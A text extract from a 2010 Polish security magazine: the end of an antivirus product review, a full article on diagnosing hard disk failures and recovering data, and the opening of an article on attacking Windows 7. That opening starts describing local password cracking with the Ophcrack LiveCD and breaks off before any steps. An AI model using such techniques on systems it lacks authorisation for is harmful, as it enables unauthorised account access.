połączenie potrzeb i wymagań zarówno
początkujących, jak i zaawansowanych klientów.
Funkcjonalność produktu mks_vir 9.0 nie
odbiega od produktów konkurencji. Dostarcza
zarówno podstawowych usług, takich jak: skaner
i monitor antywirusowy, firewall, kwarantanna czy
ochrona poczty, jak i dodatkowych możliwości,
na przykład: monitor procesów i monitor
rejestru. Osoby, które miały do czynienia z
wcześniejszymi propozycjami firmy MKS (mks_vir
2k7), zauważą zapewne znaczne udoskonalenie
modułu firewalla. W poprzednich wersjach nie
zachwycał on możliwościami konfiguracyjnymi.
Zostało to poprawione w najnowszym wydaniu.
Dla początkujących osób przydatny będzie
tryb uczenia zapory, bardziej zaawansowani
użytkownicy mogą natomiast zarządzać ruchem
sieciowym za pomocą zdefiniowanych przez
siebie reguł. Daje to możliwość dokładnego
określenia akceptowanych i odrzucanych
połączeń, co znacząco wpływa na podniesienie
bezpieczeństwa.
Podsumowując, pakiet mks_vir 9.0 DOM
PLUS jest bardzo dobrym rozwiązaniem
dla użytkowników domowych. Wśród osób
decydujących się na to rozwiązanie, zdecydowana
większość nie dysponuje wiedzą potrzebną do
samodzielnej konfiguracji i dostosowania takich
narzędzi jak firewall czy skaner antywirusowy.
Dlatego program jest maksymalnie uproszczony
i jego uruchomienie nie wymaga dużej wiedzy
informatycznej. Jednocześnie daje on szerokie
możliwości konfiguracji bardziej zaawansowanym
użytkownikom.
POCZĄTKI
ARTUR SKROUBA
Stopień trudności
Odzyskiwanie
danych z
twardego dysku
W dobie masowego rozwoju techniki cyfrowej podstawowym
narzędziem codziennej pracy bądź rozrywki staje się komputer
osobisty (PC). Niestety, korzystanie z cyfrowych dobrodziejstw
wiąże się z pewnym ryzykiem, dotyczącym potencjalnego
wystąpienia awarii, która w skuteczny sposób może
sparaliżować nasz codzienny dzień.
W
Z ARTYKUŁU
DOWIESZ SIĘ
jak powinna wyglądać pierwsza
pomoc po utracie dostępu do
danych,
jakie są najczęstsze przyczyny
awarii, skutkujące utratą
dostępu do danych,
jak ustalić źródło problemu,
jak przeprowadzić wstępną
analizę dysku,
czego nam nie wolno robić po
utracie dostępu do danych,
co zrobić na przyszłość, aby
ponownie nie utracić dostępu
do danych.
CO POWINIENEŚ
WIEDZIEĆ
znać ogólne pojęcia z zakresu
budowy komputera,
znać podstawy obsługi
systemu operacyjnego, w
którym pracujesz,
mieć ogólne pojęcie o systemie
plików, na którym pracuje twój
system operacyjny.
14 HAKIN9 1/2010
każdym przypadku utraty dostępu
do danych pierwszą i podstawową
kwestią, którą musimy ustalić
jest przyczyna wystąpienia takiego stanu
rzeczy. Ustalenie źródła problemu ma
kluczowe znaczenie dla samego procesu
odzyskiwania danych. Prawidłowa odpowiedź
na to pytanie pozwoli nam na podjęcie
prawidłowych działań, w konsekwencji których
możemy odzyskać dostęp do danych bez
niepotrzebnego ryzyka ich bezpowrotnej utraty.
Dlatego pamiętajmy; zanim podejmiemy
jakiekolwiek działania, musimy wiedzieć co
mamy robić. Działania na oślep, często w
panice, na ogół pogarszają sytuację lub wręcz
definitywnie uniemożliwiają odzyskanie danych.
Okoliczności awarii – analiza
Ustalenie źródła problemu w znakomitej
większości sytuacji nie powinno stwarzać
większego problemu.
Tak naprawdę występują dwa główne
rodzaje awarii, jeżeli chodzi o ich naturę:
•
•
uszkodzenia logiczne,
uszkodzenia fizyczne.
Każde z nich możemy podzielić jeszcze
na pewne podtypy, które posiadają pewną
odmienną charakterystykę przyczynowoskutkową. I tak – uszkodzenia logiczne dzielą
się na:
•
•
•
uszkodzenie systemu operacyjnego,
uszkodzenie systemu plików,
uszkodzenie logiczne powstałe wskutek
błędu użytkownika.
Natomiast w ramach uszkodzeń fizycznych
samego nośnika możemy wyróżnić:
•
•
•
uszkodzenie mechaniczne (dekalibracja
mechaniczna, dekalibracja termiczna,
uszkodzenie łożyska silnika, wybicie
stojana silnika),
uszkodzenie elektroniczne
(uszkodzenie modułu elektroniki
zewnętrznej, uszkodzenie głowicowego
przedwzmacniacza sygnału),
uszkodzenie logiczne lub mechaniczne
struktury serwisowej dysku (Service Area).
Oczywiście wszystkie wymienione wyżej
rodzaje uszkodzeń mogą występować
samodzielnie lub jednocześnie; często
występuje implikacja przyczynowo-skutkowa.
I tak, np. dekalibracja mechaniczna (np. dysk
został uderzony) wpływa na uszkodzenia
fizyczne części powierzchni roboczej dysku,
przez co uszkodzony zostaje system plików
(minimalne odkształcenia końcówek głowic
mogą powodować rysowanie platerów dysku
w obszarze konfiguracyjnym systemu plików).
W ramach identyfikacji niezbędnym
jest przeanalizowanie wszystkich objawów
PIERWSZA POMOC
i okoliczności mogących mieć
wpływ na wystąpienie awarii. Jest to
najlepsza wskazówka, dająca często
bezpośrednią wiedzę co do genezy
wystąpienia problemu utraty dostępu
do danych.
Poniżej krótki opis objawów i
okoliczności, które charakteryzują w
sposób bezpośredni rodzaj usterki:
•
•
•
•
Działania wirusów, niedozwolone
operacje na strukturach lub
plikach systemu operacyjnego,
błędne działanie lub niewłaściwe
posługiwanie się narzędziami
dyskowymi, pojawienie się błędnych
sektorów na powierzchni dysku,
błędna konfiguracja sprzętowa
systemu operacyjnego, nagłe lub
nieprawidłowe zamknięcie systemu
operacyjnego, itp. – wszystkie tego
typu czynności mogą wpłynąć na
powstanie uszkodzeń systemu
operacyjnego lub systemu plików.
Przypadkowe lub błędne usunięcie
danych – tu sytuacja jest jasna.
Wszelkiego rodzaju anomalie
napięciowe, mogące wystąpić,
czyli: nagłe braki w dostawie
prądu, przepięcia, zwarcia czy
też wysadzenia lokalnej instalacji
elektrycznej (bezpieczniki) skutkują
najczęściej uszkodzeniem
elektroniki komputera, a co za tym
idzie elektroniki samego dysku. W
tym miejscu należy zaznaczyć, że
z tego punktu widzenia najbardziej
krytycznym elementem w systemie
jest zasilacz. Dobry zasilacz
nie dopuści do uszkodzenia
wewnętrznych komponentów
komputera – w najgorszym razie
sam ulegnie zniszczeniu, chroniąc
jednocześnie pozostałe elementy.
Słaby jakościowo zasilacz jest
odpowiedzialny za ponad 90%
przypadków awarii elektroniki
twardych dysków.
Uderzenia i upadki – całych
komputerów lub przenoszonych
dysków – nawet niewinne, drobne
puknięcia lub uderzenia mogą
spowodować trwałe i poważne
uszkodzenie mechaniczne twardego
dysku (szczególnie podczas pracy
•
nośnika). Dzieje się tak, ponieważ
prawie wszystkie dzisiejsze
dyski twarde (oprócz SSD) są
urządzeniami złożonymi m.in. z
wysoce precyzyjnej mechaniki, która
jest bardzo wrażliwa na fizyczne
działania zewnętrzne. Dochodzi
wtedy do dekalibracji mechanicznej
twardego dysku (zmiana geometrii
końcówek pozycjonera z głowicami),
nieprawidłowego zatrzymania
głowic na platerach lub wybicia
stojana silnika.
Przegrzanie twardego dysku – jeżeli
twardy dysk, który pracuje przez
dłuższy czas jest narażony na
przegrzanie się (praca laptopa
na miękkim kocu lub pościeli,
umiejscowienie komputera przy
kaloryferze, itp.) to dochodzi do
mikroodkształceń termicznych
na końcówkach głowic. Skutek
– identyczny, jak w przypadku
dekalibracji mechanicznej.
Pozostała najczęściej spotykana usterka,
tj. uszkodzenie strefy serwisowej dysku
może mieć zgoła różne przyczyny
– w warunkach amatorskich można
ją zdiagnozować jedynie po objawach
– ale o tym później.
•
•
Objawy – wstępne
zalecenia diagnostyczne
Potwierdzeniem okoliczności powinny
być objawy. Poniżej kilka uwag odnośnie
ich występowania i charakterystyki. Ze
względu na złożoność występujących
objawów przeprowadzimy analizę pod
kątem uszkodzeń.
•
Na początek coś miłego – po
podłączeniu zasilania do dysku
następuje natychmiastowe
automatyczne wyłączenie
komputera – innymi słowy
– komputer się nie włącza z
podpiętym do gniazda zasilania
twardym dyskiem. W tym
przypadku mamy do czynienia
z dość prostym przypadkiem,
polegającym na wymianie elementu
zabezpieczającego twardy dysk.
Istnieje możliwość samodzielnej
naprawy dysku. Na ogół jest to
•
wymiana bardzo szybkiej diody
zabezpieczającej Transil (nazwa
wprowadzona przez nomenklaturę
STMicroelectonics), która jest
podpięta w kierunku zaporowym.
Pełni ona rolę bezpiecznika
– w momencie nieprawidłowej
polaryzacji zasilania lub zwarcia
zostaje ona przebita (przewodzi w
obydwu kierunkach), co powoduje
zwarcie i uruchamia blokadę
zasilania w zasilaczu komputera.
Po podłączeniu zasilania dysk
jest całkowicie martwy, brak
detekcji w biosie, nie wydaje
jakichkolwiek dźwięków – w prawie
100% przypadków mamy do
czynienia z uszkodzeniem modułu
elektroniki zewnętrznej. Tego typu
uszkodzeniom często towarzyszy
swąd spalenizny wydobywający
się z dysku lub widoczne
nadpalenia układów na elektronice
dysku. Wymagana naprawa lub
rekonstrukcja modułu elektroniki
zewnętrznej. Możliwość wystąpienia
uszkodzenia elektroniki wewnętrznej.
Po podłączeniu zasilania dysk nie
rozkręca się, brak detekcji w biosie,
jednakże słychać mniej lub bardziej
głośne próby startu samego silnika
(takie cichutkie bzyt, bzyt, bzyt ).
Przy takich objawach możliwe
uszkodzenia to: wybicie stojana,
uszkodzenie łożyska lub zatrzymanie
głowic na platerach dysku. Przy
tego typu objawach stanowczo
odradzamy samodzielne próby
dotarcia do danych. Wymagana
jest interwencja specjalisty w
warunkach laboratoryjnych. Niektóre
modele WD lub MAXTOR posiadają
wbudowane multiwibratory
generujące sygnały dźwiękowe typu
trelemolo, które są uaktywniane w
momencie blokady silnika.
Po podłączeniu zasilania dysk
zaczyna się rozkręcać, jednak
nie jest widoczny w biosie i
wydaje nienaturalne odgłosy
(najczęściej jest to cykliczne
stukanie). W tego typu przypadkach
najczęściej mamy do czynienia
z uszkodzeniem mechanicznym
(dekalibracja) lub uszkodzeniem
1/2010 HAKIN9
15
POCZATKI
•
•
•
elektroniki wewnętrznej, bądź
samych głowic. Podobnie jak
w przypadku powyżej – przy
tego typu objawach stanowczo
odradzamy samodzielne próby
dotarcia do danych. Wymagana jest
interwencja specjalisty w warunkach
laboratoryjnych. Mało tego
– w takim przypadku samodzielne,
uporczywe próby odczytania
danych z dysku mogą zaowocować
nieodwracalnym uszkodzeniem
powierzchni roboczej nośnika.
Po podłączeniu zasilania dysk
zaczyna się rozkręcać, jest
prawidłowo rozpoznawany w
biosie, jest widziany przez system
w sposób fizyczny (jako dysk),
natomiast nie jest (najczęściej)
widziany jako dysk logiczny
– przy próbie odczytu danych
przez jakąkolwiek aplikację
narzędziową dysk zaczyna wydawać
nienaturalne dźwięki (stukania).
W tego typu przypadku mamy
najprawdopodobniej do czynienia
z uszkodzoną głowicą. W celu
potwierdzenia diagnozy niezbędna
jest analiza skanu powierzchni
dysku, aby wykluczyć lub potwierdzić
uszkodzenie jednej z głowic.
Kolejny przypadek to sytuacja
identyczna do poprzedniej
– jednakże z wykluczeniem
uszkodzenia jednej z głowic. Po
podłączeniu zasilania dysk zaczyna
się rozkręcać, jest prawidłowo
rozpoznawany w biosie, jest widziany
przez system w sposób fizyczny
(jako urządzenie) i najczęściej jest
widziany jako dysk logiczny – przy
próbie odczytu danych przez
jakąkolwiek aplikację narzędziową
dysk zaczyna wydawać nienaturalne
dźwięki (stukania). W tego typu
sytuacji doszło do powstania
wielu uszkodzeń na powierzchni
roboczej nośnika (Bad Sektory).
Potwierdzenie skanem powierzchni
dysku.
Następny objaw: po podłączeniu
zasilania dysk zaczyna się
rozkręcać, jest prawidłowo
rozpoznawany w biosie, jest
widziany przez system w sposób
16 HAKIN9 1/2010
fizyczny i logiczny (jako dysk), nie
wydaje nienaturalnych dźwięków
– jednakże nie ma możliwości
wejścia na dysk logiczny (komunikat
o niesformatowanym dysku
lub partycja nieznana). Objaw
świadczący o uszkodzonym
logicznie systemie plików lub
powstaniu niewielkiej ilości
złych sektorów w obszarze
konfiguracyjnym systemu plików.
Potwierdzenie skanem powierzchni
dysku.
Po podłączeniu zasilania dysk
zaczyna się rozkręcać, jest
rozpoznawalny w biosie, wstępny
brak objawów nieprawidłowej
pracy; dysk widoczny jako wolumin
logiczny, możliwość podejrzenia
zawartości partycji, przy próbie
kopiowania danych występują błędy
odczytu. Objawy te świadczącą o
powstaniu relatywnie niewielkiej
ilości błędnych sektorów. Dane
można skopiować za pomocą
stosownych aplikacji narzędziowych
typu Data Recovery.
biosie komputera (nieprawidłowa lub
niepełna nazwa dysku, nieprawidłowa
pojemność, niewłaściwy numer
ser yjny), brak statusu ready nośnika,
przy próbie skanu powierzchni
nośnika wszystkie sektor y są błędne,
itp. Niestety w prawie wszystkich
przypadkach uszkodzenia SA – aby
dostać się do danych – wymagana
jest spora wiedza na temat budowy
i struktur y SA w poszczególnych
modelach oraz odpowiednie zaplecze
techniczne i narzędziowe. Dlatego przy
wystąpieniu objawów świadczących o
uszkodzeniu SA stanowczo odradzamy
podejmowanie jakichkolwiek
samodzielnych prób.
Wszystkie powyższe objawy mają
charakter czysto orientacyjny – po
przeprowadzeniu analizy przyczynowoskutkowej możemy na ich podstawie z
dużą dozą dokładności (w praktyce jest
to ok. 80 – 90% przypadków) określić
źródło problemu i występujący rodzaj
uszkodzenia.
Odrębnym problemem jest wystąpienie
uszkodzeń w obszarze serwisowym
dysku (ang. Service Area, potocznie
SA). Jest to wydzielony obszar
na platerach (talerzach) dysku,
niedostępny dla przeciętnego
użytkownika (SA mieści się na logicznie
ujemnych cylindrach), w któr ym
znajdują się wszystkie dane niezbędne
dla prawidłowej pracy nośnika.
Znajdują się tam takie informacje
jak: translator logiczny, adaptywy,
informacje na temat wielkości dysku,
nazwa dysku, jego numer ser yjny,
hasło ATA, itp. Po podłączeniu zasilania
główny procesor dysku zaczyna
wykonywać procedur y zawarte w
swoim biosie. Większość z nich zawiera
komendy odczytu wyżej wspomnianych
danych mieszczących się w strefie
serwisowej. Jeżeli wszystko jest w
porządku, dysk zgłasza gotowość do
pracy. Jeżeli nie … No i tu zaczyna
się problem… Wachlarz objawów
uszkodzonego SA jest bardzo szeroki.
Najczęstszymi objawami uszkodzenia
SA jest błędna detekcja napędu w
W sytuacji braku komunikacji z
dyskiem (uszkodzenia mechaniczne,
elektroniczne, uszkodzenie SA)
– czyli w przypadkach, gdy nie mamy
prawidłowej komunikacji z dyskiem (np.
brak detekcji dysku w biosie) – jedyną
diagnozę, którą możemy postawić
– musimy przeprowadzić w oparciu o
dane przyczynowo-skutkowe opisane
powyżej. Niestety w większości tego
typu przypadków, aby odzyskać dane
będziemy zmuszeni do skorzystania
z pomocy firm, które zajmują się w
sposób profesjonalny odzyskiwaniem
danych.
Natomiast w momencie, gdy
komunikacja z dyskiem występuje,
możemy pokusić się o przeprowadzenie
wstępnej analizy dysku we własnym
zakresie, w wyniku której możliwe będzie
samodzielne odzyskanie danych bez
potrzeby korzystania z pomocy osób
trzecich.
Pierwszą czynnością, którą
powinniśmy wykonać jest
przygotowanie stanowiska pracy. Oto
co potrzebujemy:
•
Jak przeprowadzić wstępną
diagnozę dysku
PIERWSZA POMOC
•
•
•
Komputer klasy PC z płytą główną
wyprodukowaną od 2004 r. wzwyż
(obsługa LBA 48).
Zainstalowany system operacyjny
typu Windows (najlepiej XP z
ServicePack min.1).
Zainstalowany napęd CD oraz FDD.
Do diagnostyki używamy komputera
klasy PC z systemem Windows ze
względu na największy występujący
wybór aplikacji narzędziowych.
Jeżeli mamy prawidłową
komunikację z dyskiem, pierwszą
czynnością, którą powinniśmy zrobić
jest przeskanowanie powierzchni
roboczej dysku. Wyjątkiem jest sytuacja,
gdy sam dysk jest sprawny, natomiast
chcemy odzyskać utracone dane, które
zostały wykasowane. W tym przypadku
możemy przystąpić bezpośrednio do
odzyskiwania danych.
Sprawdzenie powierzchni dysku
najlepiej przeprowadzić dyskowymi
programami narzędziowymi,
działającymi w środowisku DOS,
typu Data LifeGuard Diagnostics
czy SeaTools. Godnymi polecenia
są też komercyjne lub autorskie
narzędzia dyskowe jak ByteBack czy
MHDD. W każdym razie powinna to
być aplikacja dosowa, obsługująca
bezpośrednio INT 13 oraz mająca
dostęp do dysku przez bios płyty.
Skanowanie przeprowadzamy po
uruchomieniu programu z bootowalnej
dyskietki FDD lub płyty CD. W celu
zwiększenia bezpieczeństwa należy
odłączyć wszystkie dyski oprócz HDD
problemowego.
UWAGA ! Przed przystąpieniem
do skanowania w środowisku DOS
należy upewnić się, że nasz źródłowy
dysk pracuje w trybie read only
– w przeciwnym razie może dojść do
sytuacji przypadkowego nadpisania
danych!
Wyniki skanowania możemy
sklasyfikować następująco:
•
Brak błędów na dysku
– najprawdopodobniej mamy do
czynienia z logicznym problemem
utraty dostępu do danych (tak
jak usunięcie danych). W celu
•
•
•
•
odzyskania danych zaleca się
wykonanie kopii binarnej nośnika
i przystąpienia do czynności
odzyskania danych (z tejże kopii).
Pojawiające się pojedyncze
błędy na dysku – w wyniku ich
pojawienia się na dysku nastąpiła
utrata dostępu do danych. W celu
odzyskania danych zaleca się
wykonanie kopii binarnej nośnika
i przystąpienia do czynności
odzyskania danych (z tejże kopii).
Duża ilość błędów na dysku
– należy stwierdzić, czy błędy
pojawiają się w sposób
uporządkowany. Np. pojawianie
się błędów periodycznie (błędy
występują non stop w większych
grupach) w uporządkowanych
odstępach może świadczyć o
uszkodzeniu jednej z głowic. W
takim przypadku odzyskanie danych
w praktyce jest możliwe tylko w
warunkach laboratoryjnych.
Pojawienie się wielu błędów,
występujących w sposób
chaotyczny (nieuporządkowany),
świadczy o uszkodzeniu fizycznym
wielu sektorów. Jeżeli jest to
możliwe – zaleca się wykonanie
kopii binarnej tych obszarów,
które są pozbawione błędów – w
następnej kolejności próbujemy
skopiować obszary uszkodzone (na
inny sprawny dysk). W przypadku
wystąpienia bardzo dużej ilości
błędów, zaleca się bezpośrednie
użycie programu odzyskującego
dane, bazującego na wstępnym
skanowaniu tablicy alokacji (bez
skanowania całego nośnika).
UWAGA !!! W tym przypadku
długotrwałe, bądź wielokrotne próby
odzyskania danych, mogą w sposób
fizyczny nieodwracalnie zniszczyć
powierzchnię nośnika. Dlatego w
przypadku wystąpienia potrzeby
odzyskania ważnych danych (z
punktu widzenia użytkownika),
zaleca się przekazanie dysku do
wyspecjalizowanej firmy.
Na koniec opisujemy przypadek
związany z uszkodzoną strefą
serwisową – przy prawidłowej
detekcji najczęstszym objawem
jest pojawienie się nieczytelnych
sektorów praktycznie na całym
obszarze dysku. Przy próbie
odczytu jakichkolwiek sektorów
(z początku, środka i końca
dysku – kilkanaście prób pod
różnymi adresami) otrzymujemy
same błędy. W tej sytuacji mamy
dwie możliwości: albo dysk jest
chroniony hasłem albo posiada
uszkodzony translator. Jeżeli nie
znamy hasła (w przypadku jego
uaktywnienia) lub uszkodzona
jest część strefy serwisowej
– wymagana jest interwencja
specjalisty.
Po wykonaniu kopii binarnej
uszkodzonego dysku możemy przejść
do ostatniego procesu odzyskiwania
danych. Polega on na zeskanowaniu
programem typu Data Recovery
wykonanej przez nas kopii i zapisaniu
odzyskanych danych na inny nośnik.
Nie będziemy podawać konkretnych
nazw aplikacji typu Recovery ze
względu na to, że każdy z nich posiada
swoją specyfikę, która w jednych
sytuacjach jest skuteczna, a w innych
nie. Dlatego należy zacząć po kolei
– od bezpłatnych aplikacji, poprzez
komercyjne, na profesjonalnych
kończąc. Większość aplikacji płatnych
umożliwia próbne zeskanowanie
dysku, tak aby użytkownik mógł
się zorientować, czy dane są do
odzyskania.
Czego nie wolno robić po
utracie dostępu do danych
Istnieje pewien żelazny dekalog
ograniczający margines działania,
związany z czynnościami mającymi na
celu odzyskiwanie danych. Podstawową
zasadą jest niewpadanie w panikę oraz
przeprowadzenie rzetelnej analizy sytuacji.
Działania na oślep, bez zastanowienia
oraz brak podstawowej wiedzy na temat
procedur dotyczących postępowania w
tego typu sytuacjach, skutkuje na ogół
całkowitym zniszczeniem utraconych
danych oraz późniejszym brakiem
możliwości ich odzyskania, nawet przez
profesjonalne firmy. Do najczęstszych
błędów należą:
1/2010 HAKIN9
17
POCZATKI
•
•
•
•
•
•
otwieranie twardego dysku w
warunkach pozalaboratoryjnych
(wymagana odpowiednia klasa
czystości),
wykonywanie jakichkolwiek
czynności wewnątrz dysku,
dokonywanie jakichkolwiek napraw
w elektronice dysku (bez gruntownej
wiedzy),
zapisywanie jakichkolwiek informacji
na dysku, z którego chcemy
odzyskać dane,
samodzielne próby naprawy dysku
poprzez różnego rodzaju programy
narzędziowe,
przekazywanie dysku (w celu
odzyskania danych) osobom
lub firmom nieposiadającym
stosownych kwalifikacji.
W Polsce liczba osób, które dysponują
mniejszą lub większą wiedzą
informatyczną może oscylować w
okolicach kilku milionów. Jednak usługi
odzyskiwania danych są tak dalece
wyspecjalizowane i momentami
tak skomplikowane, że w tej masie
tylko kilkanaście do kilkudziesięciu
osób dysponuje stosowną wiedzą i
warsztatem, pozwalającym odzyskać
dane we wszystkich przypadkach, gdzie
fizycznie jest to możliwe.
Dlatego należy bardzo starannie
dokonywać wyboru firmy bądź osoby,
której chcemy powierzyć dysk w celu
odzyskania danych. W tym miejscu
należy zaznaczyć, że na r ynku można
spotkać coraz więcej firm lub osób
reklamujących się jako jednostki
wyspecjalizowane w odzyskiwaniu
danych. Spowodowane to jest wizją
szybkiego zarobienia łatwych i często
spor ych pieniędzy. Niestety bardzo
niewiele z nich posiada gruntowną
wiedzę oraz warsztat pozwalający na
odzyskanie danych w przypadkach,
gdzie faktycznie jest to możliwe. I
tak, np. najwyższy, światowy poziom
skuteczności odzyskiwania danych
oscyluje pomiędzy 70% a 80% na
100 zgłoszonych przypadków. Jest
to spowodowane tym, iż sytuacje
takie jak nadpisanie utraconych
danych, bądź fizyczne uszkodzenie
powierzchni roboczej nośnika, nie
18 HAKIN9 1/2010
należą do wyjątków. Niestety, coraz
częściej możemy zauważyć reklamy,
które delikatnie mówiąc, mijają się z
prawdą. Coraz więcej firm ogłasza się
jako ta najlepsza, przelicytowując się:
90% , 95% czy nawet 99% skuteczności
w odzyskiwaniu danych. Mało tego,
na r ynku pojawiają się reklamy
sugerujące 100% skuteczność czy też
mówiące o gwarancji na odzyskiwanie
danych. Jest to oczywistą nieprawdą
i świadomym wprowadzaniem w
błąd klienta. Nie ma na świecie
firmy potrafiącej odzyskiwać dane z
każdego przypadku ich utraty (nawet
po uprzednim zrobieniu kopii stref y
serwisowej).
Kolejną pułapką jest masowe
funkcjonowanie tzw. bezpłatnej analizy
warunkowej. Polega to na tym, że
coraz więcej firm oferuje bezpłatną
analizę nośnika pod warunkiem, że po
jej przeprowadzeniu klient skorzysta
w danej firmie z usługi odzyskania
danych. W przypadku rezygnacji, klient
musi pokryć koszty przeprowadzonej
analizy – często jest to kilkaset złotych.
I nie byłoby w tym nic złego, gdyby
nie fakt, że taka praktyka przyczyniła
się do powstania pewnej patologii, a
mianowicie; coraz więcej firm decyduje
się po wykonaniu analizy na stosowanie
cen zaporowych (szczególnie w
przypadkach, w których nie jest w stanie
odzyskać dane) – tylko po to, aby klient
zrezygnował i zapłacił za rezygnację
– czyli za odbiór własnego dysku.
Przy takich praktykach teoretyczna
skuteczność faktycznie może osiągnąć
100% i jeszcze gwarantuje przypływ
gotówki w każdym możliwym przypadku.
Prowadząc taką firmę, równie dobrze
można nic nie robić – tylko wystawiać
faktury.
Dlatego pamiętajmy – przed
wyborem firmy odzyskującej dane
powinniśmy gruntownie przeanalizować
jej rzetelność. Także przed oddaniem
(lub wysłaniem) dysku należy zapoznać
się z warunkami, które będziemy
musieli pisemnie zaakceptować
(czytajmy regulaminy, zamówienia,
itp.). W trakcie rozmowy wstępnej
sprawdźmy, czy bezpłatna analiza
jest faktycznie bezwarunkowa oraz
domagajmy się podania widełek
cenowych (chodzi o cenę maksymalną)
za konkretny rodzaj potencjalnego
uszkodzenia, tak aby uniknąć przykr ych
niespodzianek.
Podsumowanie
Ktoś kiedyś powiedział, że użytkownicy
komputerów dzielą się na tych, którzy
robią kopie swoich danych oraz na
tych którzy będą robić kopie… I w
tym jednym zdaniu możemy chyba
upatrywać puentę problemu pt. jak
zabezpieczyć się przed utratą danych
w przyszłości. Kopie, kopie, i jeszcze raz
kopie. Nie ma niezawodnych systemów,
każdy dysk, każdy serwer, każda
macierz może ulec awarii.
Są dwa warunki skutecznego
robienia kopii danych:
•
•
Kopie danych muszą być
wykonywane regularnie (bez
wyjątku).
W praktyce przyjmuje się, że
trzy źródła danych całkowicie
zabezpieczają nas przed ich
utratą. Należy pamiętać, że muszą
to być trzy, niezależne od siebie
– w sposób fizyczny – lokalizacje
zawierające cenne dane. I tak np.
pierwsza kopia (a raczej oryginał)
może być na dysku lub nośniku
źródłowym (czyli na tym, na którym
pracujemy). Pozostałe dwie kopie
muszą być na innych nośnikach,
takich jak dysk zewnętrzny, pendrive,
bądź płyta CD/DVD.
Przestrzegając tych dwóch warunków
możemy być pewni, że w wypadku
awarii nie utracimy cennych danych.
Sukcesywne wykonywanie kopii i
dywersyfikacja nośników, zawierających
nasze cenne dane, nam to gwarantuje.
Artur Skrouba
Autor studiował na wydziale Fizyki i Astronomii
Uniwersytetu Warszawskiego; jest także absolwentem
Szkoły Głównej Handlowej w Warszawie na kierunku
Finanse i Bankowość. Na co dzień zajmuje się
profesjonalnym odzyskiwaniem danych w firmie
DataMax Recovery, w której pełni funkcję jednego z
głównych inżynierów technicznych. Kontakt z autorem:
[email protected].
19
ATAK
WOJCIECH SMOL
Hakowanie
Windows 7
Stopień trudności
Windows 7, będący następcą kompletnie nieudanej Visty,
prawdopodobnie okaże się dla Microsoftu szczęśliwą
siódemką i powtórzy komercyjny sukces Windowsa XP.
System ten nie zapewni nam jednak bezpiecznego środowiska
pracy. Oto 7 dowodów na potwierdzenie tej tezy.
N
Z ARTYKUŁU
DOWIESZ SIĘ
o nowościach w
mechanizmach
bezpieczeństwa najnowszego
systemu Windows,
o teoretycznych oraz
praktycznych zagrożeniach dla
bezpieczeństwa Windows 7,
o istniejących mechanizmach
oraz narzędziach
pozwalających na naruszanie
bezpieczeństwa Siódemki,
o potencjalnych, przyszłych
kierunkach rozwoju technik
atakowania najnowszego
systemu z Redmond.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe zagadnienia
dotyczące bezpieczeństwa
środowiska Windows (w
szczególności Visty),
znać podstawowe rodzaje
ataków (lokalnych oraz
zdalnych) na systemy
operacyjne.
20 HAKIN9 1/2010
a kilka tygodni przed oficjalną premierą
detaliczną (zaplanowaną na 22.10.2009)
systemu operacyjnego Windows 7,
poznaliśmy pierwsze informacje dotyczące
następców Siódemki. Windows 8 i 9, bo o nich
mowa, są już obecnie intensywnie rozwijane w
laboratoriach firmy Microsoft. Premiera ósemki
planowana jest przez giganta z Redmond na rok
2012, czyli mniej więcej za 3 lata. Windows 8 i 9
mają być pierwszymi 128-bitowymi systemami
Microsoft Windows, oferującymi przy tym szereg
nowych funkcji.
Wiemy to wszystko dzięki (nieplanowanemu?)
wyciekowi informacji w serwisie
społecznościowym. Otóż Robert Morgan,
długoletni pracownik Microsoftu, umieścił
w swoim profilu na stronie LinkedIn poufne
informacje dotyczące Windows 8 oraz Windows
9. Morgan napisał między innymi, że pracuje
nad kompatybilnością 128-bitowej architektury
z jądrem Windows 8 oraz projektem systemu
Windows 9.
Jaki to wszystko ma jednak związek z
bezpieczeństwem samego Windows 7?
Mianowicie, jeśli Microsoft utrzyma obecną
politykę rozwijania systemów operacyjnych,
to przedstawione poniżej mechanizmy
bezpieczeństwa Siódemki oraz metody ich
naruszania, mogą być skuteczne również w
przypadku kolejnych edycji Windows! Dokładnie
tak, jak można to zaobserwować obecnie w
przypadku Windows Vista i 7.
Otóż tajemnicą poliszynela jest, że wiele
funkcji Windows 7 (oznaczenie kodowe Windows
NT 6.1) jest bardzo podobnych (lub nawet
identycznych) do tych znanych z... Windows Vista
(oznaczenie kodowe Windows NT 6.0). Pracując
z Windows 7 odnosi się właściwie wrażenie,
że jest to finalna wersja Visty, która sama zaś
wydaje się być zaledwie wersją beta Siódemki !
Tego rodzaju podobieństwo i kompatybilność
większości funkcji ma oczywiście pewne zalety,
takie jak chociażby zgodność obu systemów
na poziomie sterowników oraz obsługi aplikacji.
Sytuacja ta niesie ze sobą jednak pewne efekty
uboczne.
7 świętych dróg do piekła
Wspomniane podobieństwa Visty oraz
Siódemki dotyczą oczywiście również
mechanizmów bezpieczeństwa stosowanych
przez oba systemy. Ta bezprecedensowa
sytuacja jest o tyle ciekawa, że w wyniku owych
podobieństw, już przed premierą nowych
okienek dysponujemy szeregiem technik oraz
narzędzi umożliwiających skompromitowanie
bezpieczeństwa Windows 7. Jest tak, ponieważ
większość narzędzi stworzonych do testowania
i łamania zabezpieczeń Visty, z powodzeniem
działa w Siódemce. Poza tym, na długo przed
premierą opracowano również metody ataków
specjalnie przeznaczonych dla najnowszego
oprogramowania systemowego z Redmond.
Siódemka jest również narażona na przypadłości
HAKOWANIE WINDOWS 7
typowe dla całej swej rodziny, takie jak luki
we własnym kodzie źródłowym.
Wszystko to powoduje, że Windows
7, już w momencie swej premiery, będzie
narażony na szereg znanych zagrożeń. Co
gorsza, większość z tych zagrożeń oraz
narzędzi umożliwiających konkretne ataki,
jest już szeroko znana wśród crackerów.
Przeanalizujmy więc 7 sposobów na
przejęcie całkowitej kontroli nad systemem
Windows 7 i zastanówmy się, w jaki sposób
będziemy mogli im zapobiec w obliczu
realnego zagrożenia.
Łamanie haseł lokalnych
użytkowników
Pierwszą z prezentowanych metod
przejmowania kontroli nad Windows
7 stanowi łamanie haseł, broniących
dostępu do kont lokalnych użytkowników.
W metodzie tej zakładam, że intruz nie zna
hasła do żadnego z lokalnych kont oraz, że
nie będzie dokonywał jakichkolwiek zmian
w docelowym systemie.
Sama procedura jest banalnie
prosta. Wystarczy tylko pobrać plik
Ophcrack Vista LiveCD 2.3.1 dostępny
m.in. pod następującym adresem http:
//hcseclab.blogspot.com/2009/09/
narzedzia-bezpieczenstwo-sieci-i.html,
